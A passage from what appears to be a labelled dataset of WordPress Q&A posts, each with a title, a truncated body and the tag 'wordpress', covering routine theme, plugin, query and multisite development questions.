header.php in my theme child and i kept the same path. here is the full file <?php /** * Your Inspiration Themes * * @package WordPress * ... ",['wordpress'] "Title: Creating a custom wordpress widget and stopping js from running twice(once in active widget once in widget selector)? Body: Ok so here's the question how do i stop js from running twice on the widget.php page? I am creating a ajax loaded custom image selector from a domain on the same server as the current site. I want ... ",['wordpress'] "Title: How do i get (unique) page name? Body: Like from the page of http://localhost/wordpress/about_us/ how do i get only the ""about_us"" ? Thanks ",['wordpress'] "Title: previous / next post with thumbnail Body: I've got another question regarding next / previous post. At the moment I'm working on our portfolio with several items. Each item is a post with a title, category & featured image. When viewing ... ",['wordpress'] "Title: Why don't posts show up in my categories on the frontend? Body: The posts in a category don't show up in their category pages, like this one: http://www.kaerumusic.com/portfolio-category/japanese/ . On this page, ( http://www.kaerumusic.com/artists/ ) you're ... ",['wordpress'] "Title: How to dropdown custom taxonomy? Body: To make a dropdown list from categories I can use wp_dropdown_categories function. http://codex.wordpress.org/Function_Reference/wp_dropdown_categories But how can I do the same thing but for my ... ",['wordpress'] "Title: is there a simple way to list every templates / php files used to generate a specific page? Body: To customize a theme , it is not always easy to trace every files that are used and find out which one do what . For example i' like to find out how my menu is generated so i can add some conditions ... ",['wordpress'] "Title: Wp_localize_script from Shortcode Body: I've been trying for hours and tried several answers from here and Google but still no luck.. need help. I am making a shortcode (slider) and trying to execute a javascript file (for the slider's ... ",['wordpress'] "Title: Edit custom HTML page from WP admin dashboard Body: I needed to make custom HTML page in root which will not use default wordpress theme and show content and I linked it on menu as custom links. So in front end everything perfect. But this page is not ... ",['wordpress'] "Title: Hierarchical custom fields Body: I need to display press statements as a custom post type (""statement""). Associated with each statement post type is one or more Authors, which is currently implemented also as a custom post type ... ",['wordpress'] "Title: How to create a word press user with hashedpassword Body: I have set of user data from another wordpress site and i want o create users for each of them in a another wordpress web site..,it is works fine with wp_insert_user($user) but problem is the ... ",['wordpress'] "Title: Menu Limitations Body: I am coming here for advice mainly, because I am stuck on what to do next. Within my latest project, I am using Wordpress at the backbone, as a fully fledged CMS system. I have styled every single ... ",['wordpress'] "Title: How to load wp_editor via ajax Body: Does anyone know how o load wp_editor via ajax in wordpress ? My markup and editor is getting loaded properly but editor controls are not getting loaded properly, it may be because Javascript is not ... ",['wordpress'] "Title: Version control with a team of non-developers Body: At work we have decided to redo our website from scratch since over the years it has been plagued with no version control or dev site, plugin inconsistencies, etc. The team who created the current ... ",['wordpress'] "Title: WP Ecommerce: Display the “Order Notes” as column in the Sales Log Body: I have the following function that adds a column in the Sales Log so that I may show the Order Notes. Adding the column is good and showing the id of each item ($item->id) as test is good. Where I am ... ",['wordpress'] "Title: Show uploaded images in full size Body: I have a very simple template where I am showing images. The code looks like this: <?php /* * Template Name: Portfolio */ ?> <?php get_header(); ?> <div class=""row""> ... ",['wordpress'] "Title: Cropping images from top center using Jetpack Photon Body: I am setting up a website gallery where the uploaded screenshot is 1400px wide and height varies. On my post index page, I need to display a thumbnail of only 900 pixels by 600 pixels. However this ... ",['wordpress'] "Title: Paginate template name Body: I want to make pagination for posts. I am using posts_nav_link() in my archive.php to make links to previous/next posts and first ten posts are shown well. However when I click on newer posts link, ... ",['wordpress'] "Title: social media icons appearing only on single posts, not within blog loop Body: The social media plugin I'm using (Flare) shows only on individual blog posts, not at the end of each post within the blog post loop/page. flare.php index.php (plugin should appear in .postmetadata) ... ",['wordpress'] "Title: How to grab a specific page of content from paginated post? Body: In my case I've got to create articles where each article has a custom, unchanging ""header"" part far too rich for the title and the excerpt (it's to contain image, media etc), and then a few different ... ",['wordpress'] "Title: the_excerpt() in content.php and get_template_part() in single.php Body: everybody. So I'm creating a blog theme and have put the_excerpt() in content.php My index.php displays different post excerpts for the different kind of posts-formats. I have content-gallery.php, ... ",['wordpress'] "Title: How to Change MU/BuddyPress Group Blog New Installation Defaults Body: I am trying to work with a Multisite install of WordPress and modify the default ""child"" blogs in the network. The details are: -I have a main site built on Commons in a Box (CBOX) which is a ... ",['wordpress'] "Title: dbDelta using Foreign key not working on update [duplicate] Body: I am using FOREIGN KEY with dbDelta when activating the plugin (register_activation_hook()). It works great when creating the table for the first time, but outputs an error when updating the table ... ",['wordpress'] "Title: Wordpress PHP plugin - Settings page error Body: Writing a PHP plugin for Wordpress. It was an external PHP script. But now I'm having a problem. When I click submit on the page it redirects saying there are no permissions to go to that page. Edit: ... ",['wordpress'] "Title: Bootstrap Error in WordPress plugin Body: I am creating a plugin that generates advanced search queries. All of the UI is done in bootstrap, and the results are displayed via modal (bootstrap.js). On the production site Greenlane SEO I get ... ",['wordpress'] "Title: Wordpress multisite and one database Body: i need to use one database (i mean the same tables) with all sites under my network. I know about switching blog, but it's not good with wp-admin side (for example for custom post type i can't see the ... ",['wordpress'] "Title: Add a button to custom meta fields Body: I am building a website using WP and Custom Meta boxes The website is for a training provider and requires multiple dates for each course e.g. they may run fortnightly. Now my question is, can I add ... ",['wordpress'] "Title: Add page-link after post content. Before plugin Body: I want to add page-link before Facebook Comment plugin. Currently the sequence is: Post content, Facebook Comment, Page link In my single.php: the_content(); wp_link_pages( array( ... ",['wordpress'] "Title: (Thesis) Apply a Custom Template in Thesis to a Particular Page Body: Under the ""Custom Templates"" section in the Skin Editor, I've created a custom template. When I create a new page and select my custom template in the ""Thesis Custom Skin Template"", my page comes up ... ",['wordpress'] "Title: Custom taxonomy page not working Body: I've created a custom taxonomy 'animal-species' that I want to filter out my 'animals' custom post type. The idea is that a user can go to the main animals page and filter them out by cats, dogs etc. ... ",['wordpress'] "Title: two columns of posts on homepage, one of them “favorites” Body: I'm using a child theme of Twenty Twelve in wordpress. Here's where I am developing the site: http://internalcompass.us/castle/ You'll notice the two columns of posts on the homepage. I have one ... ",['wordpress'] "Title: My function doesn't work into WordPress but outside, it works - what am I missing? Body: I used a functions into my page I created for WordPress, it's working, but the functions 're not working, doesn't showing any result. For example: <?php function tester() { global $pol; $pol=""ok ... ",['wordpress'] "Title: Writing a custom CAPTCHA for comment spam Body: I have searched and searched but I still haven't found the perfect question and answer captcha for wordpress. I mean a captcha that allows me to write a custom question that any commenter has to ... ",['wordpress'] "Title: Featured Image metabox (postimagediv) doesn't appears when it should Body: I'm using a plugin called Co-Authors Plus for managing guest authors in my website. However, when creating a new guest author, the Featured Image metabox (postimagediv) doesn't appears. I'm almost ... ",['wordpress'] "Title: Allow BBPress Authors/Participants to create shortcodes/upload images to topic reply Body: I have this website with over 100+ members using bbpress, I've set all those members as Wordpress Authors so they can see the 'Add Media' Button and as 'Participants' so they can create topics and ... ",['wordpress'] "Title: Adding a single text input field to a custom Dashboard widget Body: I have a client whom I want to give as much Dashboard control over the admin area as possible. I know how to create a custom dashboard widget that contains just text/html but I have no idea how to ... ",['wordpress'] "Title: How to move a wordpress network (subdomains+MU Domain Mapping) from Apache VPS/CPanel-WHM to Apache VPS/Kloxo? Body: I have a wordpress network (subdomains+MU Domain Mapping) on a Apache VPS/CPanel-WHM and i want to move to a Apache VPS/Kloxo how can I do that right? this is the steps for cpanel/whm ... ",['wordpress'] "Title: Average Account Age Body: I'm trying to see if there is a way to find an average age of user accounts which came through my wordpress site not including the age of the administrator account. When I say age I don't mean their ... ",['wordpress'] "Title: Why does including a file in theme's functions.php not work? Body: For example, if I write some code (e.d. add a custom post type or something) in my theme's functions.php, it works fine. If I move it to a new file, then include() the file in my theme's functions.php ... ",['wordpress'] "Title: Using Ajax with a Class file Body: At the moment I have an ajax that works (I get a success [200] response), but having an issue with the action hooks on the response. The JSON object is not coming back, instead I'm getting a 0. I ... ",['wordpress'] "Title: Query/Loop multiple taxonomies in taxonomy template Body: How to Query multiple taxonomies in taxonomy template, ex. taxonomy-schools.php Please help, Ihave spend many hours trying to fix this.. Here's my code: <?php $term =$wp_query->queried_object; ... ",['wordpress'] "Title: custom post type: own database table structure and custom “new-post” interface Body: I was tried to search answer to my question, but I didn't find. What I need: Make own post type. It's simple with Custom Post Type UI plugin. Solved. To have own table in DB for post of new type. ... ",['wordpress'] "Title: Advanced Custom Fields plugin : displaying a field while motting the p tags Body: In Advanced Custom Fields plugin, is it possible to display a WYSIWYG editor field in which p tags are omitted? ",['wordpress'] "Title: Getting value from database table depending on field value Body: I am using a plugin called formidable which is similar to Gravity Forms in terms of purpose. I have two fields of interest. The first field loads up all the values in the Town column of my ... ",['wordpress'] "Title: Location of core code for database connection and get_header Body: I understand WP well enough to create a custom theme at a basic level, but have no experience with the core code. I've also just finished a book on basic php and mysql coding. I'd like to look 'under ... ",['wordpress'] "Title: Dynamic sidebar based on category Body: I am new to wordpress, i have developed a basic theme to make a tutorial web site, for that i need a dynamic sidebar based on category, suppose, i have category A & B, if user is on the A ... ",['wordpress'] "Title: Import images into Media Library - from server location /wp-content/themes/customtheme/images/ Body: Is there any Code to import all images found in a folder and its sub-folder and import all images into media library ? for example - i want add my theme sub-folder's images imported into wordpress ... ",['wordpress'] "Title: Replace Short code in Visual Mode - WYSIWYG editor Body: I write a code in functions.php to make shortcode [template_url] and [site_url] in WYSIWYG editor. Its works fine for front end. add_shortcode('template_url', 'replace_shortcode_template_url'); ... ",['wordpress'] "Title: Detect WYSIWYG editor - Visual or Text Mode Body: Is there a Way to know the editor is now in Visual mode or in TEXT mode, so i can trigger something. And also how to make default editor mode in Visual mode [ force to show Visual Mode ] ",['wordpress'] "Title: Multisite Network Localisation Body: The problem seems easy to solve - I have installed multisite network, each new page have Polish language set as default, polish localisation files are in right directory, in wp_config there is line: ... ",['wordpress'] "Title: showing 2 prices wholesale and normal Body: am using the plugin Ignitewoo Wholesale price and have coded the single-product page to show two prices with the idea of one being the wholesale price the other normal retail price but atm its showing ... ",['wordpress'] "Title: How to display only subcategory Body: I have categories: -Parent category --Subcategory ---Grandcategory How i can display parent category and only subccategory(not display grandcategory). My args: $args = array( ... ",['wordpress'] "Title: exclude page element from specific pages Body: I'm using a specific navigation menu that should be present on all but two pages. How can I exclude <div class=""portfolio-nav""> from the specified pages(About & Contact)? <?php ... ",['wordpress'] "Title: Contributors can still publish content after user downgrade Body: I'm trying to slowly hand over WordPress access to other site users but when I downgrade their user type from ""Author"" to ""Contributor,"" I'm finding that WordPress isn't restricting their respective ... ",['wordpress'] "Title: Local wordpress install only shows home page, all other pages Not Found Body: I am working on a local install of a live wordpress site, all links from the main page show Not Found errors. all .htaccess files are all present. The problem is that every page except for the home ... ",['wordpress'] "Title: Nested loop called with shortcode duplicating the content above the main loop Body: I'm trying to use a shortcode to call one post from a custom post type and display it inside another page's content. (Basically, we have a custom post type called 'testimonials' and we want to display ... ",['wordpress'] "Title: echo current taxonomy id for this loop? Body: I have this query to get posts and show like this: Custom taxonomy 1 <div ID1> |-- post 1 |-- post 2 </div> Custom taxonomy 2 <div ID2> |-- post 3 |-- post 4 </div> ... ",['wordpress'] "Title: WordPress Post - On Post - 404 Page Not Found Body: I was helping a friend with a website. Every thing seem to work fine. I set up some demo content manually. But today some thing wired happened. When we try to do a post it returns to a 404 not found ... ",['wordpress'] "Title: Accept (once only) policy page on login Body: I'm developing a simple application on WP that requires the user to accept a policy page on first login. If they accept, they're redirected somewhere (homepage), if not, they're redirected somewhere ... ",['wordpress'] "Title: How to translate content in category.php or index.php with qtranslate? Body: I was wondering how to translate content under index.php (or category.php with qtranslate?). I'm using twenty twelve theme. My code on index.php: <?php /** * The main template file. * @package ... ",['wordpress'] "Title: How can I order metaboxes in my posts in WordPress? Body: hello i did add a custem filed and this is my code add_action( 'add_meta_boxes', 'cd_meta_box_add' ); function cd_meta_box_add() { add_meta_box( 'my-meta-box-id', 'المعلومات الرئيسية لفلل مشروع', ... ",['wordpress'] "Title: Wordpress Query orderby title with UTF8 string in title Body: I got posts with titles are in utf8 encoding. When I query posts with orderby is title, those with utf8 characters at the beginning are at the end. Example: post title starts with Đ are at the end ... ",['wordpress'] "Title: WPTouch or mod_expires preventing revisions from showing Body: Last month I used standard mod_expires in my htaccess to speed up the site. I had no problems. Then I installed the WPTouch plugin to provide a mobile version. It worked at first but then it stuck ... ",['wordpress'] "Title: Planning on Multisite Before Creating A Network Body: On the page http://codex.wordpress.org/Before_You_Create_A_Network, this message I'm quoting seem to be implementing if the ""types of multisite network"" is path-based or web pages only. Can you also ... ",['wordpress'] "Title: Register multiple users in one form Body: Is it possible to have a form in WordPress that would allow more than one user to register at a time? So say I wanted to be able to add 5 users at once, is this possible to do with the default ... ",['wordpress'] "Title: “attachment” default rewrite rules disappeared! Body: something very strange is going on with a WP theme I'm developing. The set of default rewrite rules regarding attachments .+?/[^/]+/attachment/([^/]+)/?$ .+?/[^/]+/attachment/([^/]+)/trackback/?$ ... ",['wordpress'] "Title: Wordpress custom search by post type Body: Is it possible: If post type is post, search only in post title. If post type is page, search only in post content. I was trying in any ways but didnt worked, maybe someone could help me ? ",['wordpress'] "Title: After I set the title, it over-wrote all the titles for the individual pages Body: A few days ago I set the title tag for my home page by doing this: Settings => General but it turned out that this didn't just change the title of the home page. It actually changed the title of ... ",['wordpress'] "Title: How to fetch serialized data from wordpress options Body: I have the following serialized data in a wp option a:2:{s:5:""Title"";s:11:""your title"";s:7:""Message"";s:20:""Hola testing testing"";} I would like to return it to be used in a form, and show it also in ... ",['wordpress'] "Title: How can I replace an oEmbed URL in post with actual embed HTML Body: What I want is to get the output of the Twitter oEmbed system into my actual posts. IMHO the embed output itself is high-quality, semantic HTML and I'd rather have it inside the post than in the embed ... ",['wordpress'] "Title: Pagination for event query Body: I'm working on a WP_Query using the Modern Tribe Events Calendar My problem is with pagination. Is this the incorrect way to paginate the WP_Query or could there be another method for paginating the ... ",['wordpress'] "Title: How would I get a list of posts from a custom post type Body: I know the query method that you would use, that's not what I want. I could query the post type, then do the if statement with the while statement and go from there, but I am trying to populate a drop ... ",['wordpress'] "Title: Posts are being posted in two categories instead of 1 Body: When I create a post and assign the relevant category, the post ends up in the category I've assigned it to and another category. For example when I load a post to graphic design it automatically goes ... ",['wordpress'] "Title: Show post count in wordpress instead of page count in wordpress pagination Body: Iam using wordpress numbered pagination function, it works good I have around 800 posts on homepage, every page i show 8 posts. So when the user clicks on pagination i want to show 1-8 of 800. 1st ... ",['wordpress'] "Title: is there any limit of length on creating custom taxonomies? Body: I am using custom taxonomy plugin. And I have custom Post type ""Product"". When I am creating new taxonomy ""home and garder Appliances Washin"" and attaching it to Post or ""Product"" it's not ... ",['wordpress'] "Title: How to add a CSS class to the tooltip on a navigation menu? Body: I'm looking for a way to add a CSS class to the anchor tag of the tooltip on a menu item. Currently, I see that you can easily add a CSS class to the menu's li but I'm trying to style the tooltip ... ",['wordpress'] "Title: index.php file in wp-content/themes/ folder Body: I was manually uploading a theme im working on to my wordpress install tonight when I noticed a index.php file in my themes folder. I opened the file and it contained only the following three lines of ... ",['wordpress'] "Title: Show featured image in sidebar Body: I'm adding a widget on my sidebar but the Featured Image isn't shown. this is the code of my side bar: <?php /** * The Sidebar containing the main widget areas. * * @package PowerMag * @since ... ",['wordpress'] "Title: Sorting main query by custom taxonomy slug Body: Is there a way to sort posts by custom taxonomy (shoe_color) ASC|DESC? I would like to do this using query_posts and passing the orderby=shoe_color into it. Here is the code I'm trying to work out: ... ",['wordpress'] "Title: Query posts by searching for a string in a meta field Body: I'm trying to see if I can make this happen with the built-in meta_query function. I'm taking a $_GET variable and want to return posts that contain that string inside the meta_key urls. So far, the ... ",['wordpress'] "Title: How to get error object returned by wp_create_user Body: I'm creating a registration widget for my wp site and it works as expected, however if the user already exists I need a way of retrieving that information. I'm using ajax to make the call here is my ... ",['wordpress'] "Title: how can i display share images for each article? Body: if you take a look at Technibility you will see share icons for each post. It doesnt seem to be a plugin. But if its custom how is it grabbing the share count? ",['wordpress'] "Title: How to get all post_parents of a post? Body: Unfortunately, $post->post_parent is a single variable and not an array. I want to get all post_parents of a post (especially of an attachment, which is often linked to multiple posts!). ",['wordpress'] "Title: Change User Role based on Point System Issue Body: Trying to change user role based on points. This is working seems fine till it keep increasing points. The problem happens when if we decrease points it is not changing role back to below stage. ... ",['wordpress'] "Title: orderby=meta_value_num creates duplicate posts Body: I have my facebook likes stored in a custom field named fb_likes. my wordpress post order is sorted by this field, like this. 'meta_key' => 'fb_likes', 'orderby' => 'meta_value_num', 'order' ... ",['wordpress'] "Title: How can i display the content in plaintext Body: i want to display my excerpt in plaintext. How can i do this? This is my Snippet where i display the content: <?php the_content(__( 'Weiterlesen &rsaquo;','okay')); ?> How i change the ... ",['wordpress'] "Title: 2 Different Custom Post Types in Submenu Body: i have register 2 custom post types within my plugin one of them is shown in the left admin bar, the second i wouldn't show so i have set the ""show_ui"" to false. Is it possible to add the second post ... ",['wordpress'] "Title: Set post_parent from URL params in post-new.php Body: I'm trying to create a set of buttons on wordpress Page post types that allow the end user to create a new page that is a sibling (same parent page) or a child page of the current page. In order to ... ",['wordpress'] "Title: wp_localize_script not create variable in head section Body: I try to make an ajax function in wordpress and I enqueued my script and declared my variables like this in functions.php: function my_enqueue_scripts() { wp_enqueue_script( 'load_post', ... ",['wordpress'] "Title: Wordpress Pagination Not Working - Always Showing First Pages Content Body: I am working on a website where I have a blog but I also have a custom post type to allow me to drop in some videos. I would like to use pagination so that if there are more then 9 videos displayed, ... ",['wordpress'] "Title: Displaying database data as pages (or similar) Body: I have a friend that has a big database of cars (lets say 4000 entries). Now he wants to add this info to his website. Initially I played with the idea of creating a page for each car, but this ends ... ",['wordpress'] "Title: display posts from category within a custom taxonomy Body: I am trying to listing posts from a single category of my custom taxonomy. I have created a custom post type called ""news"" and a custom taxonomy called ""instituteName"". I then created a number of ... ",['wordpress'] "Title: Get array value Body: I want to get a custom post value from post ID PHP code : $custom_field = get_post_meta(2055, the_field('titdesc')); var_dump($custom_field);` Output : array(6) { [""_edit_last""]=> array(1) ... ",['wordpress'] "Title: Remove 'wp-content/themes/themename/' from Image path Body: I'm currently moving an old website based on some other CMS towards a new server, with WordPress. However, the site ranks good on Google, and I'm have to keep all the link structure, including the ... ",['wordpress'] "Title: Cannot access empty property error in Advanced Access Manager Body: As explained in the reply of this post by the Advanced Access Manager's author I've changed the current getCurrentUserRole function in the path /wp-content/plugins/advanced_access_manager/module with ... ",['wordpress'] "Title: 404 Error on Minisite Body: I recently purchased a new theme that allows you to create minisite the way it works is you create a minisite and assign a page to the minisite. I created a minisite called movies and assigned a ... ",['wordpress'] "Title: Creating a dynamically generated wordpress media slider Body: I'm looking for a way to dynamically generate a number of slides that would register with the wordpress settings API. For example, if I have a form that increments the amount of slides they would like ... ",['wordpress'] "Title: Listing Post Categories on Home Page Body: I'm trying to list categories for my posts on the home page with each of their posts under them. I'm not really sure how to go about doing this. Example of what I want. Category 1 Post 1 - Post 2 - ... ",['wordpress'] "Title: Pretty Permalinks Body: I've created my own search functionality which basically finds the nearest store closest to the entered postal code. My URL for the search currently looks like this ... ",['wordpress'] "Title: How can I create an RSS feed that includes “Private” posts? Body: I'm currently publishing articles to wordpress as ""Private"", as I don't want them to be viewable on the website. However I do need an RSS feed of these posts. Any suggestions on how to go about ... ",['wordpress'] "Title: Wordpress tiny mce shortcode insert problem Body: I have created pop up tiny mce window.But this is not inserting the value when i click create shortcode. <code> <!DOCTYPE html> <head> <title>Create Gallery ... ",['wordpress'] "Title: WP Oembed Youtube URL From Custom Field With AutoPlay & Height Set [duplicate] Body: I already know how to get wp_oembed_get to display a YouTube video URL from a custom field via get_post_meta but where I'm having trouble, is getting things like autoplay, width, height get passed to ... ",['wordpress'] "Title: Site does not display translations Body: I installed clean wordpress multisite. Bought a theme, installed woocommerce. Activated stuff, translated some and voila - everything is working. Translations and all. i then uplodaded all the same ... ",['wordpress'] "Title: WP Multisite with Domain Mapping : Preventing User Access to Dashboard Body: I have a theme being used by a sub-folder multisite and a domain-mapped multi site. E.g. mywpsite.com/site1 mywpsite.com/site2 www.site2.com (leads to the above) I have this snippet of code in my ... ",['wordpress'] "Title: Image doesn't show since 3.5.2 Body: I have a Wordpress blog which has a self written plugin for the front page. For every article you write you can upload an image and it gets directly sent to the front page. For the last months ... ",['wordpress'] "Title: Wordpress custom taxonomy bullet list Body: I'm trying to break down the custom taxonomies into a list to filter posts. such as Front small medium large Middle small medium large Back small medium large no I can list each terms ok, ... ",['wordpress'] "Title: Settings api sanatize callback not being triggered Body: I'm creating a custom settings page for a custom theme however the callbacks for sanatizing the data in the fields are not being called (I put in xdebug breakpoints in them to check). /** ... ",['wordpress'] "Title: WordPress Nav Menu Hierarchy Body: If I asked you ""How to use nav menu item so that I don't have a blank page"", you would say use a custom menu link with a '#' as the title, correct? When I do this the child pages then appear as the ... ",['wordpress'] "Title: add_query_arg() for custom post type on all visible links Body: I am trying to add add_query_art() $GET['var'] to auto filled form field. I have custom post type call career and want to auto filled field for the Position so url I want is ... ",['wordpress'] "Title: how do I get the tag name from tag id? Body: I have the tag ID, in integer format. I want to convert this to the tag name. e.g. ""cars"" How do I do this? ",['wordpress'] "Title: have_posts is empty on category.php Body: All the applicable code is in this gist. I have a really simple category.php template. I have 3 posts, each belonging to the same parent category, and 2 belonging to one child category and the third ... ",['wordpress'] "Title: JQuery undefined and Stylesheet loads in bottom along with js files Body: I'm developing a theme for wordpress and I'm using this function to enqueue scripts and styles function Joy_scripts() { wp_enqueue_style( 'Joy-style'); wp_enqueue_script( 'Joy-scripts', ... ",['wordpress'] "Title: Stale $GLOBALS['post'] after custom WP_Query empty result set bothers my template, whose fault is this? Body: Story below looks to me like it's about a commercial Event Management plugin whose authors to me just don't seem very good at WordPress. But bear with me and let's see if there's also an issue in WP. ... ",['wordpress'] "Title: Move Title and the Content WYSIWYG editor position Body: Right now, the Title is the first thing at the top of the page, then we have next the WYSIWYG Editor. I would like to add a Custom Meta Box and insert it before the title or WYSIWYG editor. How can ... ",['wordpress'] "Title: Auto approve all comments (editor) Body: I unchecked both options in the discussion area (so the one where they need a post to comment and administrator has to approve), but still, my users can't put their comments without me approving it. ... ",['wordpress'] "Title: Fancybox plugin: triggering on href attribute Body: I want to show a pop up when clicking on an anchor with a specific url. I've tried the following code in the extra calls tab but it doesn't work. ... ",['wordpress'] "Title: woocommerce breadcrump missing shop link Body: I have a WordPress site that uses courtur theme with woocommerce I didn't install the site so i'm not sure if it was configured correctly. my URL structure for product-category page as follow: ... ",['wordpress'] "Title: Creating WordPress Plugin solely for Admin panel with dash menu and submenus Body: I am attempting to create a WordPress plugin which allows the client to use for help and other resources in a friendly interface. It would be desired if I could have guidance on creating a WordPress ... ",['wordpress'] "Title: Which filters or actions involve with index page for plugin? Body: I decide to manipulate index page or all pages except admin page with plugin but I don't know which filters or actions control index page. for example if I want write plugin that shows a link to admin ... ",['wordpress'] "Title: Sort users by custom user meta value Body: I'm trying to sort users by a custom meta value ""user_business"" which is their business name that way when users are listed they're sorted alphabetically by their business name as they should be. I'm ... ",['wordpress'] "Title: Deleting Certain terms from appearing on the front end as links Body: I've put some thought into this but Can't really figure out what direction I take in getting rid of certain terms in my testimonial_category called 'home', 'homeone', hometwo. I only want to stop ... ",['wordpress'] "Title: Pre-populate BuddyPress Member Profile Data in Gravity Forms Body: I am succesfully pre populating logged in user wordpress user meta into gravity forms, but I can't find a way how to prepopulate buddypress profile data into gravity forms. Goal I want to be able ... ",['wordpress'] "Title: Combine and Minify wp-admin files, also re-write URI's for CDN Body: I'm currently using WP-MINIFY to combine and minify my front-end files as I have a large number of plugins, it has helped greatly and I'm looking for a similar solution to help with backend ... ",['wordpress'] "Title: How to auto set screen option defaults [duplicate] Body: I want to make a function in my theme, which sets some things in the screen options tab on by default if you select my theme. This remains same for all users in the admin area. I don't care about ... ",['wordpress'] "Title: Custom post type & taxonomy just like WP defaults Body: I've spent days attempting to do a single thing: create a custom post type/taxonomy (cat)/taxonomy(tag) trio that replicates the stock standard WP category/post/tag structure with permalinks of ... ",['wordpress'] "Title: post category in wp_insert_post Body: I'm building a wordpress theme where people can submit posts using wp_insert_post. The code below adds the post title but does not add the category specified by the user. Instead it puts it in ... ",['wordpress'] "Title: Rollover Image jQuery help Body: I basically want to have a small thumbnail of an image, and when the user puts the mouse over the image I want a larger version to pop-up. I've been doing some Google and I found this tutorial. I ... ",['wordpress'] "Title: Correct way to make a title a link Body: I made the title of my post excerpt a link to the full content. It works but whenever I validate my website, the validator marks it wrong and shows the message below. I've switched around the h2 tags ... ",['wordpress'] "Title: How to use corect the tags Body: Hy, i have a wordpress cinema site, i have 3 post type : Persoane, Stiri/News Trailers and Movies( that are post's) In every post type i enabled the tag's. How can i use corect the tags in news ... ",['wordpress'] "Title: “Blog pages show at most” in The Loop Body: I remember in another theme I did, that the The Loop automatically looped for the number that was set in ""Blog pages show at most"" (Settings->Reading). The theme I am working on right now does not see ... ",['wordpress'] "Title: I need to disable responsive feature of a theme called Meet GavernWP [closed] Body: This question is deleted. Actually this question was showing up in my google search results and it was ruining up my seo. ",['wordpress'] "Title: Homepage redirects to other site of mine? [closed] Body: I have a website in which the home page redirects to a different site, which is also from me. I tried getting on it yesterday and then, it was fine. But now, this evening, when I never touched a ... ",['wordpress'] "Title: How to get the cropped image from media library? Body: i have the url of an image (full size). During the upload it already generates a smaller version (i added this in functions). How can i get this cropped version when i have the full size url? The ... ",['wordpress'] "Title: Next and Previous buttons are not showing on home page for post Body: I made a theme from PSD to WordPress but the ""next""-""previous"" buttons are not showing on home page. Here is the code of single.php: <div id=""primary"" class=""site-content""> ... ",['wordpress'] "Title: Why is my comment feed broken? Body: Here is my site. According to the WordPress codex, my comments feed should be http://oldmankit.com/comments/feed/. Indeed, every post has that link in its header. However, it's broken. If you click ... ",['wordpress'] "Title: Include a file before current template file Body: I would like to include two files before and after current template. I am using template_redirect to do this, But when I call get_current_template() inside template_redirect it returns nothing. is ... ",['wordpress'] "Title: Core or Plugin update: “Could not create directory.: /httpdocs” Body: I've been searching for the solution to this for a while and now I'm looking here to get some help. The issue I'm having is that on one of the WordPress sites that I manage, I have been receiving the ... ",['wordpress'] "Title: What exactly is the description field when uploading an image? Body: This is a really basic question and I am slightly embarrassed I do not know, but what exact purpose does the description field serve, when uploading an image with Wordpress? Typically when uploading ... ",['wordpress'] "Title: Return category slug / title from category ID Body: I have a custom field set up that returns the category ID of a chosen category, I'm looking to use this category ID to show, in one instance: category slug, and another instance: category title. The ... ",['wordpress'] "Title: pop-up options for custom quicktags Body: I always use HTML editor when writing an entry in my wordpress blog, I'm not sure why I can't bring myself to like the TinyMCE editor. After a while, I started to think about creating my own quicktags ... ",['wordpress'] "Title: Replace audio links with jplayer using the_content filter Body: I am attempting to use : add_filter( 'the_content', 'filter_function_name' ); To find all of the anchor tags in my post which link to a .mp3 file, and then replace them with a jplayer instance that ... ",['wordpress'] "Title: How to get vim to autocomplete WordPress API functions? Body: I guess built-in omnicomplete is a start, but perhaps we're talking some neocomplcache plugin module or something themsuch? Googling ""vim wordpress autocomplete"" doesn't really give much. ",['wordpress'] "Title: Theme options: Display ID of page options Body: I am building a theme options page and everything is great. There is a function to display the list of page options. $all_pages = get_pages(); $page_options = array(); $page_list = array(); ... ",['wordpress'] "Title: How to detect if a function has been fired on any page so scripts/styles can be loaded conditionally Body: I'm building a small gallery plugin and I'd like to only load scripts/styles onto the page IF the gallery has been loaded via the template tag. The template tag can take a post ID parameter when used ... ",['wordpress'] "Title: How to modify Media Library images DPI [ image quality down to make small in size ] [closed] Body: I wonder if there any code or hook out there to manage the image DPI, for example when we use photoshop or other image editing software we use export and image quality to 0-100%, now i am looking for ... ",['wordpress'] "Title: Returning website screenshot based on Custom Field Body: I am trying to return a screenshot from websites using this <img src=""<?php echo 'http://s.wordpress.com/mshots/v1/'.urlencode('http://domain.com/').'?w=200' ?>"" /> This works fine for ... ",['wordpress'] "Title: Customizing a walker menu class Body: Hey Folks I trying to customize a walker class to add custom classes to navigation level. Essentially there will be 3 levels of navigation. <ul *custom class*> <li *custom class*> ... ",['wordpress'] "Title: How to adjust found_posts so that it accounts for offset and pagination Body: So far this is the code I have in my index.php file: <?php // Custom code to offset posts and setup pagination $page = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1; ... ",['wordpress'] "Title: Work carousel slider on two rows Body: I'm a Wordpress-themes newbie and I was wondering if it's possible to make the work carousel slide in more than one row. By ""work carousel"" I mean the script that builds a slider based on Works ... ",['wordpress'] "Title: Storing additional information about the user Body: I'm creating a recruitment website in wordpress and need a way to store details about the user such as previous experience and qualifications. I want the user to be able to edit this information as ... ",['wordpress'] "Title: Passing boolean values with wp_localize_script Body: I am using wp_localize_script to pass a couple of values from my theme options to a javascript file. First I got the values from my theme options: $options = get_option('theme'); $flex_auto = ... ",['wordpress'] "Title: How to order posts by parents? Body: I wanted to order my post type archive by its parents (like page list in wp-admin). This is what i have tried, but no luck so far. add_action( 'pre_get_posts', 'budget_archive_data' ); function ... ",['wordpress'] "Title: How can I sort homepage by a meta value? Body: I am trying to sort my home page posts by a custom meta value. I've been told I should use pre_get_posts but I seem to not be implementing it correctly. This is what I am doing: ... ",['wordpress'] "Title: How to Deny Access to No Referrer Requests on Multiste with Mapped domains Body: RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} .wp-comments-post\.php* RewriteCond %{HTTP_REFERER} !.*yourdomain.com.* [OR] RewriteCond %{HTTP_USER_AGENT} ^$ ... ",['wordpress'] "Title: How to add H4 tag to the_content filter (after content)? Body: I would like the H4 title to display before the loop starts and only once. The problem I'm having is that H4 tag title I've created either gets stuck in the loop or it displays on the top of the ... ",['wordpress'] "Title: Displaying another main nav menu for specific category Body: I am pretty new to Wordpress, especially when PHP programming is concerned. I am using Ciola Theme from Theme Forest. What I would like to achieve is to display a sub menu under the main menu, but ... ",['wordpress'] "Title: Custom Post Types and Taxonomies Body: I am building an issue based wordpress magazine and am running into a few issues with custom post types and taxonomies. I created a 